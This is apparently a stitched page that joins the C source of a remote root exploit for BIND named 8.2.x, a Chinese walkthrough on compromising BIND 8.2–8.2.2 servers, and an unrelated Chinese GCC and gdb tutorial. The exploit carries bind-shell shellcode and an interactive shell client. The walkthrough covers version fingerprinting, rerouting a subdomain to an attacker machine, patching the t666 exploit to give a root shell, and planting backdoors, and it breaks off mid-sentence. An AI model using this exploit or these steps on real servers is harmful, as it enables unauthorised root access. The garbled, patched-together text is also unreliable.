* Cleanup done by:
* Ian Goldberg <ian@cypherpunks.ca>
* Jonathan Wilkins <jwilkins@bitland.net>
* NOTE: the default installation of RedHat 6.2 seems to not be affected
* due to the compiler options. If BIND is built from source then the
* bug is able to manifest itself.
*/
/*
* Original Comment:
* lame named 8.2.x remote exploit by
*
* Ix [adresadeforward@yahoo.com] (the master of jmpz),
* lucysoft [lucysoft@hotmail.com] (the master of queries)
*
* this exploits the named INFOLEAK and TSIG bug (see
http://www.isc.org/products/BIND/bind-security.html
)
* linux only shellcode
* this is only for demo purposes, we are not responsable in any way for what you do with this code.
*
* flamez - canaris
* greetz - blizzard, netman.
* creditz - anathema <anathema@hack.co.za> for the original shellcode
* - additional code ripped from statdx exploit by ron1n
*
* woo, almost forgot... this exploit is pretty much broken (+4 errors), but we hope you got the idea.
* if you understand how it works, it won't be too hard to un-broke it
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a)
b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;

char shellcode[] =/*
/* The numbers at the right indicate the number of bytes the call takes
* and the number of bytes used so far. This needs to be lower than
* 62 in order to fit in a single Query Record. 2 are used in total to
* send the shell code
*/
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate
spot first */
"xebx44" /* jmp intr */ // 2 - 2
/* start: */
"x5e" /* popl %esi */ // 1 - 3

/* socket() */
"x29xc0" /* subl %eax, %eax */ // 2 - 5
"x89x46x10" /* movl %eax, 0x10(%esi) */ // 3 - 8
"x40" /* incl %eax */ // 1 - 9
"x89xc3" /* movl %eax, %ebx */ // 2 - 11
"x89x46x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14
"x40" /* incl %eax */ // 1 - 15
"x89x46x08" /* movl %eax, 0x08(%esi) */ // 3 - 18
"x8dx4ex08" /* leal 0x08(%esi), %ecx */ // 3 - 21
"xb0x66" /* movb $0x66, %al */ // 2 - 23
"xcdx80" /* int $0x80 */ // 2 - 25

/* bind() */
"x43" /* incl %ebx */ // 1 - 26
"xc6x46x10x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30
"x66x89x5ex14" /* movw %bx, 0x14(%esi) */ // 4 - 34
"x88x46x08" /* movb %al, 0x08(%esi) */ // 3 - 37
"x29xc0" /* subl %eax, %eax */ // 2 - 39
"x89xc2" /* movl %eax, %edx */ // 2 - 41
"x89x46x18" /* movl %eax, 0x18(%esi) */ // 3 - 44
/*
* the port address in hex (0x9000 = 36864), if this is changed, then a similar
* change must be made in the connection() call
* NOTE: you only get to set the high byte
*/
"xb0x90" /* movb $0x90, %al */ // 2 - 46
"x66x89x46x16" /* movw %ax, 0x16(%esi) */ // 4 - 50
"x8dx4ex14" /* leal 0x14(%esi), %ecx */ // 3 - 53
"x89x4ex0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56
"x8dx4ex08" /* leal 0x08(%esi), %ecx */ // 3 - 59

"xebx02" /* jmp cont */ // 2 - 2
/* intr: */
"xebx43" /* jmp callz */ // 2 - 4

/* cont: */
"xb0x66" /* movb $0x66, %al */ // 2 - 6
"xcdx80" /* int $0x80 */ // 2 - 10

/* listen() */
"x89x5ex0c" /* movl %ebx, 0x0c(%esi) */ // 3 - 11
"x43" /* incl %ebx */ // 1 - 12
"x43" /* incl %ebx */ // 1 - 13
"xb0x66" /* movb $0x66, %al */ // 2 - 15
"xcdx80" /* int $0x80 */ // 2 - 17

/* accept() */
"x89x56x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 20
"x89x56x10" /* movl %edx, 0x10(%esi) */ // 3 - 23
"xb0x66" /* movb $0x66, %al */ // 2 - 25
"x43" /* incl %ebx */ // 1 - 26
"xcdx80" /* int $0x80 */ // 1 - 27

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3" /* xchgb %al, %bl */ // 2 - 29
"xb0x3f" /* movb $0x3f, %al */ // 2 - 31
"x29xc9" /* subl %ecx, %ecx */ // 2 - 33
"xcdx80" /* int $0x80 */ // 2 - 35
"xb0x3f" /* movb $0x3f, %al */ // 2 - 37
"x41" /* incl %ecx */ // 1 - 38
"xcdx80" /* int $0x80 */ // 2 - 40
"xb0x3f" /* movb $0x3f, %al */ // 2 - 42
"x41" /* incl %ecx */ // 1 - 43
"xcdx80" /* int $0x80 */ // 2 - 45

/* execve() */
"x88x56x07" /* movb %dl, 0x07(%esi) */ // 3 - 48
"x89x76x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 51
"x87xf3" /* xchgl %esi, %ebx */ // 2 - 53
"x8dx4bx0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 56
"xb0x0b" /* movb $0x0b, %al */ // 2 - 58
"xcdx80" /* int $0x80 */ // 2 - 60

"x90"

/* callz: */
"xe8x72xffxffxff" /* call start */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */ // 8 - 13

unsigned long resolve_host(char* host)
{
long res;
struct hostent* he;

if (0 > (res = inet_addr(host)))
{
if (!(he = gethostbyname(host)))
return(0);
res = *(unsigned long*)he->h_addr;
}
return(res);
}

int dumpbuf(char *buff, int len)
{
char line[17];
int x;

/* print out a pretty hex dump */
for(x=0;x<len;x++){
if(!(x%16) && x){
line[16] = 0;
printf(" %s
", line);
}
printf("%02X ", (unsigned char)buff[x]);
if(isprint((unsigned char)buff[x]))
line[x%16]=buff[x];
else
line[x%16]='.';
}
printf("
");
}

void
runshell(int sockd)
{
char buff[1024];
int fmax, ret;
fd_set fds;

fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "uname -a; id;
", 15, 0);

for(;

{

FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);

if(select(fmax, &fds, NULL, NULL, NULL) <
  0)
{
exit(EXIT_FAILURE);
}

if(FD_ISSET(sockd, &fds))
{
bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{
exit(EXIT_FAILURE);
}
if(!ret)
{
fprintf(stderr, "Connection closed
");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}

if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
if(send(sockd, buff, ret, 0) != ret)
{
fprintf(stderr, "Transmission loss
");
exit(EXIT_FAILURE);
}
}
}
}

connection(struct sockaddr_in host)
{
int sockd;

host.sin_port = htons(36864);

printf("[*] connecting..
");
usleep(2000);

if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))
  < 0)
{
exit(EXIT_FAILURE);
}

if(connect(sockd, (struct sockaddr *) &host,
  sizeof host) != -1)
{
printf("[*] wait for your shell..
");
usleep(500);
runshell(sockd);
}
else
{
printf("[x] error: named not vulnerable or wrong offsets used
");
}

close(sockd);
}

int infoleak_qry(char* buff)
{
HEADER* hdr;
int n, k;
char* ptr;
int qry_space = 12;
int dummy_names = 7;
int evil_size = 0xff;

memset(buff, 0, BUFFSIZE);
hdr = (HEADER*)buff;

hdr->id = htons(0xbeef);
hdr->opcode = IQUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(0);
hdr->nscount = htons(0);
hdr->ancount = htons(1);
hdr->arcount = htons(0);

ptr = buff + sizeof(HEADER);
printf("[d] HEADER is %d long
", sizeof(HEADER));

n = 62;

for(k=0; k < dummy_names; k++)
{
*ptr++ = n;
ptr += n;
}
ptr += 1;

PUTSHORT(1/*ns_t_a*/, ptr); /* type */
PUTSHORT(T_A, ptr); /* class */
PUTLONG(1, ptr); /* ttl */

PUTSHORT(evil_size, ptr); /* our *evil* size */

return(ptr - buff + qry_space);

}

int evil_query(char* buff, int offset)
{
int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
HEADER* hdr;
char *ptr;
int k, bufflen;
u_int n, m;
u_short s;
int i;
int shelloff, shellstarted, shelldone;
int towrite, ourpack;
int n_dummy_rrs = 7;

printf("[d] evil_query(buff, %08x)
", offset);
printf("[d] shellcode is %d long
", sizeof(shellcode));

shelladdr = offset - 0x200;

lameaddr = shelladdr + 0x300;

ourpack = offset - 0x250 + 2;
towrite = (offset & ~0xff) - ourpack - 6;
printf("[d] olb = %d
", (unsigned char) (offset & 0xff));

rroffsetidx = towrite / 70;
offset0 = towrite - rroffsetidx * 70;

if ((offset0 > 52)' '(rroffsetidx > 6))
{
printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=%d)
", offset0, rroffsetidx);
return(-1);
}

rrshellidx = 1;
deplshellcode = 2;

hdr = (HEADER*)buff;

memset(buff, 0, BUFFSIZE);

/* complete the header */

hdr->id = htons(0xdead);
hdr->opcode = QUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(n_dummy_rrs);
hdr->ancount = htons(0);
hdr->arcount = htons(1);

ptr = buff + sizeof(HEADER);

shellstarted = 0;
shelldone = 0;
shelloff = 0;

n = 63;
for (k = 0; k < n_dummy_rrs; k++)
{
*ptr++ = (char)n;

for(i = 0; i < n-2; i++)
{
if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
{
printf("[*] injecting shellcode at %d
", k);
shellstarted = 1;
}

if ((k == rroffsetidx) && (i == offset0))
{
*ptr++ = lameaddr & 0x000000ff;
*ptr++ = (lameaddr & 0x0000ff00) >> 8;
*ptr++ = (lameaddr & 0x00ff0000) >> 16;
*ptr++ = (lameaddr & 0xff000000) >> 24;
*ptr++ = shelladdr & 0x000000ff;
*ptr++ = (shelladdr & 0x0000ff00) >> 8;
*ptr++ = (shelladdr & 0x00ff0000) >> 16;
*ptr++ = (shelladdr & 0xff000000) >> 24;
*ptr++ = argevdisp1 & 0x000000ff;
*ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp1 & 0xff000000) >> 24;
*ptr++ = argevdisp2 & 0x000000ff;
*ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp2 & 0xff000000) >> 24;
i += 15;
}
else
{
if (shellstarted && !shelldone)
{
*ptr++ = shellcode[shelloff++];
if(shelloff == (sizeof(shellcode)))
shelldone=1;
}
else
{
*ptr++ = i;
}
}
}

/* OK: this next set of bytes constitutes the end of the
* NAME field, the QTYPE field, and the QCLASS field.
* We have to have the shellcode skip over these bytes,
* as well as the leading 0x3f (63) byte for the next
* NAME field. We do that by putting a jmp instruction
* here.
*/
*ptr++ = 0xeb;

if (k == 0)
{
*ptr++ = 10;

/* For alignment reasons, we need to stick an
  extra
* NAME segment in here, of length 3 (2 + header).
*/
m = 2;
*ptr++ = (char)m; // header
ptr += 2;
}
else
{
*ptr++ = 0x07;
}

/* End the NAME with a compressed pointer. Note that it's
* not clear that the value used, C0 00, is legal (it
* points to the beginning of the packet), but BIND apparently
* treats such things as name terminators, anyway.
*/
*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
*ptr++ = 0x00; /*NS_CMPRSFLGS*/

ptr += 4; /* QTYPE, QCLASS */
}

/* Now we make the TSIG AR */
*ptr++ = 0x00; /* Empty name */

PUTSHORT(0xfa, ptr); /* Type TSIG */
PUTSHORT(0xff, ptr); /* Class ANY */

bufflen = ptr - buff;

// dumpbuf(buff, bufflen);

return(bufflen);
}

long xtract_offset(char* buff, int len)
{
long ret;

/* Here be dragons. */
/* (But seriously, the values here depend on compilation options
* used for BIND.
*/
ret = *((long*)&buff[0x214]);
argevdisp1 = 0x080d7cd0;
argevdisp2 = *((long*)&buff[0x264]);
printf("[d] argevdisp1 = %08x, argevdisp2 = %08x
",
argevdisp1, argevdisp2);

// dumpbuf(buff, len);

return(ret);
}

int main(int argc, char* argv[])
{
struct sockaddr_in sa;
int sock;
long address;
char buff[BUFFSIZE];
int len, i;
long offset;
socklen_t reclen;
unsigned char foo[4];

printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix
");
printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net

");

address = 0;
if (argc < 2)
{
printf("[*] usage : %s host
", argv[0]);

return(-1);
}

if (!(address = resolve_host(argv[1])))
{
printf("[x] unable to resolve %s, try using an IP address
", argv[1]);
return(-1);
} else {
memcpy(foo, &address, 4);
printf("[*] attacking %s (%d.%d.%d.%d)
", argv[1], foo[0], foo[1], foo[2], foo[3]);
}

sa.sin_family = AF_INET;

if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM,
  0)))
{
return(-1);
}

sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr= address;

len = infoleak_qry(buff);
printf("[d] infoleak_qry was %d long
", len);
len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (len < 0)
{
printf("[*] unable to send iquery
");
return(-1);
}

reclen = sizeof(sa);
len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
if (len < 0)
{
printf("[x] unable to receive iquery answer
");
return(-1);
}
printf("[*] iquery resp len = %d
", len);

offset = xtract_offset(buff, len);
printf("[*] retrieved stack offset = %x
", offset);

len = evil_query(buff, offset);
if(len < 0){
printf("[x] error sending tsig packet
");
return(0);
}

sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));

if (0 > close(sock))
{
return(-1);
}

connection(sa);

return(0);
}

lion使用的攻击程序和这个类似，nixe0n大哥很了不起哦！！佩服


bind8.2-8.2.2漏洞利用HOWTO

by quack
参考资料:NXT-Howto---by E-Mind

Section A - 何谓DNS?
--------------------------

1. 怎样查询一个DNS?

首先，你或许知道如果你配置好TCP/IP后希望能通过你的浏览器直接键入主机名
就能找到一个网站，而不必每次都键入复杂难记的IP地址的话，你还需要配置
DNS服务器，你可以从你的ISP那里得到DNS服务器的地址。UNIX系统提供了一个
叫nslookup的实用工具来对DNS进行查询，它的语法如下：

$nslookup <hostname>

或者

$nslookup <ip>

配置DNS需要两个关于域的列表——zone文件，一个zone文件用来将域名解析为IP，
另一个则将IP解析为域名，nslookup则是两者交互的工具，简单地在shell下键入
nslookup并回车，你会得到一个>提示符，然后我们就可以输入IP地址或者域名了。
关于nslookup的其它命令在后面我们会再陆续提到……

2. 如何发现DNS的漏洞?

记住我们是在寻找可利用的nameserver。
首先我们必须找出运行在远程机器上DNS服务器的版本号，而且最好还要找出它
的操作系统——现在已经有很多关于这些的讨论。我们将使用一个在大多数UNIX
系统中都能使用的实用工具dig来做这件事，它的语法是：

$dig @<victim_ip> version.bind chaos txt | grep \"8

然后查看输出，如果你看到的是8.2或者8.2.1或8.2.2，那么它存在漏洞，如果是
8.2.2P2 - P5则是安全的。

如果你无法从你的终端中得到任何输出，则可能是DNS管理员修改过源代码，限制
了这一信息的输出，当然它也有可能是存在漏洞的。

Section B - 如何编辑DNS？
--------------------------------------

DNS的配置文件都是些文本，所以你要更改或者添加入口只需要编辑该文件并重启服务就
行了，这个文件是/etc/named.conf或者/etc/named.boot，如果/etc/named.conf存在，
那么它就是你的目标了……

1. 怎样找到域文件?

这是很简单的工作——你需要编辑zone文件来改变或者添加一个通往该域的入
口，比如说——infoseek.com吧，主机名是www，所以正式域名(FQDN)就是
http://www.infoseek.com(fqdn=fully/ Qualified Domain Name)，要找到该zone文件
我们首先要向DNS服务器进行查询，具体如下：

$nslookup
Default Server: xxxxxx.xxxxxxx.xx.xx
Address: xxx.xx.xx.xx
>set q=ns<ENTER>
>infoseek.com<ENTER>
>infoseek.com nameserver = NS-UU.infoseek.com
>NS-UU.infoseek.com internet address = 198.5.208.3

瞧，现在我们得到了infoseek.com的name server的IP地址，我们先假定自己
是那台机器的root吧，我们SSH进入DNS，查找文件/etc/named.conf，我们可
以在它的options部分看到

directory "/var/named"

这表示zone文件在/var/named下。

更深入一点看看zone部分，在infoseek.com里我们可以看到：

zone "infoseek.com"{
type master;
file "infoseek.com.zone";
};

所以现在我们知道我们所感兴趣的zone文件是：/var/named/infoseek.com.zone
这就是我们所要编辑的东西了。

2. 怎样编辑域文件?

首先让我们好好看看zone文件吧
在顶部的SOA段的东东暂时先不放到一边，往下看……你可以看到：

@ IN NS NS-UU.infoseek.com.
www IN A 204.192.96.173
ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2
.
.
.

有几种不同类型的记录，但要使我们的exploit运行起来，你只需要盯紧NS段就
行了……
quack注：
(对/etc/named.conf或/etc/named.boot中的命令，偶现在作一下简单的介绍：

a、SOA ：这是主服务器设定文件中必须设的命令，通常放在文件的第一行，如下：

@ 9999999 IN SOA NS-UU.infoseek.com. quack.NS-UU.infoseek.com.
壹 贰 叁 肆 伍 陆

1987022701;Searial 柒
10800;Refresh 3 hour 捌
3600 ;Retry 1 hour 玖
3600000;expire 1000 hours 拾
86400 );Minimum 24 hours 拾壹

壹：@表示当前域
贰：TTL(time-to_live)，意思是在TTL时间内如果用户没有使用这个域名
则会自动消失，9999999表示永不超时。
叁：地址类别，无须改动，填IN既可
肆：SOA，开头记录
伍：域名服务器，这里要注意的是必须在最后加上.如果没有加入.的话，系
统会在最后加上你所定义的域名。比如

www IN A 204.192.96.173

也可以写成

http://www.infoseek.com/ . IN A 204.192.96.173

两者是一样的。
陆：管理员的EMAIL，同样最后要加.
柒：版本序列
捌：更新时间
玖：重试时间
拾：终止时间
拾壹：也是TTL，如果贰是空的话，将以此值为准

b、A：指定域名和IP地址的对应关系，如：

www IN A 204.192.96.173
壹 贰 叁 肆

壹：主机名称
叁：A命令在些就能够使www.infoseek.com与204.192.96.173对应

c、NS：域名服务器的资源记录(这就是稍后我们要改的地方了，睁大眼哦)

@ IN NS NS-UU.infoseek.com.
壹 贰 叁 肆 伍

壹：填机器名，或者@或留空表示自己所在域
贰：留空则表示使用默认的TTL时间
伍：域名服务器名

d、CNAME：设定一台机器可以有的几个域名，如：

ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2

这样可以使域名为ftp.infoseek.com的机器和corp-bbn.infoseek.com
所指的是同一台机器。

e、PTR：让配置文件中的主机可以使用IP地址来知道所对应的域名)

为了让exploit正常工作，我们还需要加入一个子域，所以还是假定我们是这台
NS-UU.infoseek.com的root吧……

如何加入一个子域呢?
我们只需要加入另一个NS记录

subdomain IN NS hacker.box.com.

这表示subdomain.infoseek.com的名字服务器是hacker.box.com,这个域名需要
被解析成你的机器的IP，所以用你的正式域名替换它吧……现在我们需要重新
启动名字服务器来使我们的改动生效。用下面的命令：

#/usr/sbin/ndc restart<ENTER>
new pid is 24654
#

Section C - 如何利用存在漏洞的机器？
-------------------------------------------------

1. 开始之前需要准备什么？

一台要运行exploit的机器
一台有ROOT权限的DNS，更改过zone文件的……

2. 相关理论

这个利用程序是根据BIND versions 8.2 - 8.2.2的缓冲溢出来远程获取root
shell的。它将利用程序绑定在本地机器的端口53充当DNS SERVER，当某台机
器进行查询时，会发送一个大的NXT记录——其中包含能使远程BIND SERVER溢
出的代码——当然远程机器必须存在漏洞……

如果你对缓冲区溢出感兴趣的话，可以阅读Aleph One的精采文章：

Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
URL: http://www.phrack.com/search.phtml?view&article=p49-14

译者注：这篇文章已由TT翻译成中文，在白云黄鹤BBS、HackerBBS及绿盟BBS里都有

3. 从何处获得利用程序?

http://www.hack.co.za/daem0n/named/t666.c

4. 我为什么要patch利用程序？

你或许听说过可能要对利用程序进行patch才能正确使用，这是因为ADM认为只
有比较出色的hacker才能使用他们的exploit，所以他们在代码里留了个小小的
bug——实际上就是将shellcode里的/bin/sh替换成了/adm/sh……

5. 如何patch?

只需要对代码做很小的改动：

/ = 2F(HEX) ===> / = 2F(HEX)
a = 61(HEX) ===> b = 62(HEX)
d = 64(HEX) ===> i = 69(HEX)
m = 6D(HEX) ===> n = 6E(HEX)
/ = 2F(HEX) ===> / = 2F(HEX)

所以所有我们需要做的就是找出源代码中的
0x2f,0x61,0x64,0x6d,0x2f替换成0x2f,0x62,0x69,0x6e,0x2f
就行了。

6. 如何编译?

$gcc t666.c -o t666<ENTER>
$

7. 如何运行?

$su<ENTER>
Password:<password><ENTER>
#./t666 1<ENTER>

当然如果在这台你运行exploit的机器上如果原来有运行named的话，要先杀掉

# killall -9 named

这时exploit就已经绑定在53端口并且等待有漏洞的机器的查询了，一旦某个查
询请求发出，这台机器上会有如下输出：

Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1

好了，如果来查询的机器是运行Linux Redhat 6.x - named 8.2/8.2.1
(from rpm)的话，你就爽了，能够拿到一个rootshell了……为什么要红帽呢？
因为我们在运行时指定了./t666 1，看看下边的usage就知道了……
我只在红帽LINUX下测试运行，所以不要询问为何solaris不能用之类的问题，我
没有solaris来测试，而且我也没有更多的时间来做这件事……
你将会得到一个远程的root shell——如同现在大多数远程利用程序一样，开
的将是1524的端口。下面是这个利用程序的usage……

Usage: ./t666 architecture [command]
Available architectures:
1: Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)
2: Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1
3: Solaris 7 (0xff) - named 8.2.1
4: Solaris 2.6 - named 8.2.1
5: FreeBSD 3.2-RELEASE - named 8.2
6: OpenBSD 2.5 - named 8.2
7: NetBSD 1.4.1 - named 8.2.1

8. 让目标DNS服务器查询我的IP

当你在name server里添加了一个subdomain并将自己加入DNS后，一切都很简
单了，你需要做的仅仅是在你加入的主域中查询一个有漏洞的主机……

$nslookup
>server <victim><ENTER>
>www.subdomain.infoseek.com<ENTER>

看看会发生什么吧——当查询发生时，NS-UU.infoseek.com会告诉victim机器
你的hacker.box.com.是最权威的NAME SERVER……所以victim就找上门来了，
然后……

9. 离开前该做的事

你可以在上面添加自己的后门以便日后再来访问
在因?/span>


C 语言编程

本文的主旨是介绍如何在 Linux 下使用 C 编译器和其他 C 编程工具, 而非 C 语言编程的教程. 在本文中你将学到以下知识:
什么是 C
GNU C 编译器
用 gdb 来调试GCC应用程序
你也能看到随 Linux 发行的其他有用的 C 编程工具. 这些工具包括源程序美化程序(pretty print programs), 附加的调试工具, 函数原型自动生成工具(automatic function prototypers).
--------------------------------------------------------------------------------
注意: 源程序美化程序(pretty print programs)自动帮你格式化源代码产生始终如一的缩进格式.
--------------------------------------------------------------------------------
什么是 C?
C 是一种在 UNIX 操作系统的早期就被广泛使用的通用编程语言. 它最早是由贝尔实验室的 Dennis Ritchie 为了 UNIX 的辅助开发而写的, 开始时 UNIX 是用汇编语言和一种叫 B 的语言编写的. 从那时候起, C 就成为世界上使用最广泛计算机语言.
C 能在编程领域里得到如此广泛支持的原因有以下一些:
它是一种非常通用的语言. 几乎你所能想到的任何一种计算机上都有至少一种能用的 C 编译器. 并且它的语法和函数库在不同的平台上都是统一的, 这个特性对开发者来说很有吸引力.
用 C 写的程序执行速度很快.
C 是所有版本的UNIX上的系统语言.
C 在过去的二十年中有了很大的发展. 在80年代末期美国国家标准协会(American National Standards Institute)发布了一个被称为 ANSI C 的 C 语言标准.这更加保证了将来在不同平台上的 C 的一致性. 在80年代还出现了一种 C 的面向对象的扩展称为 C++. C++ 将在另一篇文章 "C++ 编程"中描述.
Linux 上可用的 C 编译器是 GNU C 编译器, 它建立在自由软件基金会的编程许可证的基础上, 因此可以自由发布. 你能在 Linux 的发行光盘上找到它.
GNU C 编译器
随 Slackware Linux 发行的 GNU C 编译器(GCC)是一个全功能的 ANSI C 兼容编译器. 如果你熟悉其他操作系统或硬件平台上的一种 C 编译器, 你将能很快地掌握 GCC. 本节将介绍如何使用 GCC 和一些 GCC 编译器最常用的选项.
使用 GCC
通常后跟一些选项和文件名来使用 GCC 编译器. gcc 命令的基本用法如下:
gcc [options] [filenames]
命令行选项指定的操作将在命令行上每个给出的文件上执行. 下一小节将叙述一些你会最常用到的选项.
GCC 选项
GCC 有超过100个的编译选项可用. 这些选项中的许多你可能永远都不会用到, 但一些主要的选项将会频繁用到. 很多的 GCC 选项包括一个以上的字符. 因此你必须为每个选项指定各自的连字符, 并且就象大多数 Linux 命令一样你不能在一个单独的连字符后跟一组选项. 例如, 下面的两个命令是不同的:
gcc -p -g test.c
gcc -pg test.c
第一条命令告诉 GCC 编译 test.c 时为 prof 命令建立剖析(profile)信息并且把调试信息加入到可执行的文件里. 第二条命令只告诉 GCC 为 gprof 命令建立剖析信息.
当你不用任何选项编译一个程序时, GCC 将会建立(假定编译成功)一个名为 a.out 的可执行文件. 例如, 下面的命令将在当前目录下产生一个叫 a.out 的文件:
gcc test.c
你能用 -o 编译选项来为将产生的可执行文件指定一个文件名来代替 a.out. 例如, 将一个叫 count.c 的 C 程序编译为名叫 count 的可执行文件, 你将输入下面的命令:
gcc -o count count.c
--------------------------------------------------------------------------------
注意: 当你使用 -o 选项时, -o 后面必须跟一个文件名.
--------------------------------------------------------------------------------GCC 同样有指定编译器处理多少的编译选项. -c 选项告诉 GCC 仅把源代码编译为目标代码而跳过汇编和连接的步骤. 这个选项使用的非常频繁因为它使得编译多个 C 程序时速度更快并且更易于管理. 缺省时 GCC 建立的目标代码文件有一个 .o 的扩展名.
-S 编译选项告诉 GCC 在为 C 代码产生了汇编语言文件后停止编译. GCC 产生的汇编语言文件的缺省扩展名是 .s . -E 选项指示编译器仅对输入文件进行预处理. 当这个选项被使用时, 预处理器的输出被送到标准输出而不是储存在文件里.
优 化 选 项
当你用 GCC 编译 C 代码时, 它会试着用最少的时间完成编译并且使编译后的代码易于调试. 易于调试意味着编译后的代码与源代码有同样的执行次序, 编译后的代码没有经过优化. 有很多选项可用于告诉 GCC 在耗费更多编译时间和牺牲易调试性的基础上产生更小更快的可执行文件. 这些选项中最典型的是-O 和 -O2 选项.
-O 选项告诉 GCC 对源代码进行基本优化. 这些优化在大多数情况下都会使程序执行的更快. -O2 选项告诉 GCC 产生尽可能小和尽可能快的代码. -O2 选项将使编译的速度比使用 -O 时慢. 但通常产生的代码执行速度会更快.
除了 -O 和 -O2 优化选项外, 还有一些低级选项用于产生更快的代码. 这些选项非常的特殊, 而且最好只有当你完全理解这些选项将会对编译后的代码产生什么样的效果时再去使用. 这些选项的详细描述, 请参考 GCC 的指南页, 在命令行上键入 man gcc .
调试和剖析选项
GCC 支持数种调试和剖析选项. 在这些选项里你会最常用到的是 -g 和 -pg 选项.
-g 选项告诉 GCC 产生能被 GNU 调试器使用的调试信息以便调试你的程序. GCC 提供了一个很多其他 C 编译器里没有的特性, 在 GCC 里你能使 -g 和 -O (产生优化代码)联用. 这一点非常有用因为你能在与最终产品尽可能相近的情况下调试你的代码. 在你同时使用这两个选项时你必须清楚你所写的某些代码已经在优化时被 GCC 作了改动. 关于调试 C 程序的更多信息请看下一节"用 gdb 调试 C 程序" .
-pg 选项告诉 GCC 在你的程序里加入额外的代码, 执行时, 产生 gprof 用的剖析信息以显示你的程序的耗时情况. 关于 gprof 的更多信息请参考 "gprof" 一节.
用 gdb 调试 GCC 程序
Linux 包含了一个叫 gdb 的 GNU 调试程序. gdb 是一个用来调试 C 和 C++ 程序的强力调试器. 它使你能在程序运行时观察程序的内部结构和内存的使用情况. 以下是 gdb 所提供的一些功能:
它使你能监视你程序中变量的值.
它使你能设置断点以使程序在指定的代码行上停止执行.
它使你能一行行的执行你的代码.
在命令行上键入 gdb 并按回车键就可以运行 gdb 了, 如果一切正常的话, gdb 将被启动并且你将在屏幕上看到类似的内容:
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slakware-linux), Copyright 1995 Free Software Foundation, Inc.
(gdb)
当你启动 gdb 后, 你能在命令行上指定很多的选项. 你也可以以下面的方式来运行 gdb :
gdb
当你用这种方式运行 gdb , 你能直接指定想要调试的程序. 这将告诉gdb 装入名为 fname 的可执行文件. 你也可以用 gdb 去检查一个因程序异常终止而产生的 core 文件, 或者与一个正在运行的程序相连. 你可以参考 gdb 指南页或在命令行上键入 gdb -h 得到一个有关这些选项的说明的简单列表.
为调试编译代码(Compiling Code for Debugging)
为了使 gdb 正常工作, 你必须使你的程序在编译时包含调试信息. 调试信息包含你程序里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号. gdb 利用这些信息使源代码和机器码相关联.
在编译时用 -g 选项打开调试选项.
gdb 基本命令
gdb 支持很多的命令使你能实现不同的功能. 这些命令从简单的文件装入到允许你检查所调用的堆栈内容的复杂命令, 表27.1列出了你在用 gdb 调试时会用到的一些命令. 想了解 gdb 的详细使用请参考 gdb 的指南页.

表 27.1. 基本 gdb 命令.

命 令 描 述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.

gdb 支持很多与 UNIX shell 程序一样的命令编辑特征. 你能象在 bash 或 tcsh里那样按 Tab 键让gdb 帮你补齐一个唯一的命令, 如果不唯一的话 gdb 会列出所有匹配的命令. 你也能用光标键上下翻动历史命令.
gdb 应用举例
本节用一个实例教你一步步的用 gdb 调试程序. 被调试的程序相当的简单, 但它展示了 gdb 的典型应用.
下面列出了将被调试的程序. 这个程序被称为 greeting , 它显示一个简单的问候, 再用反序将它列出.
#include

main ()
{
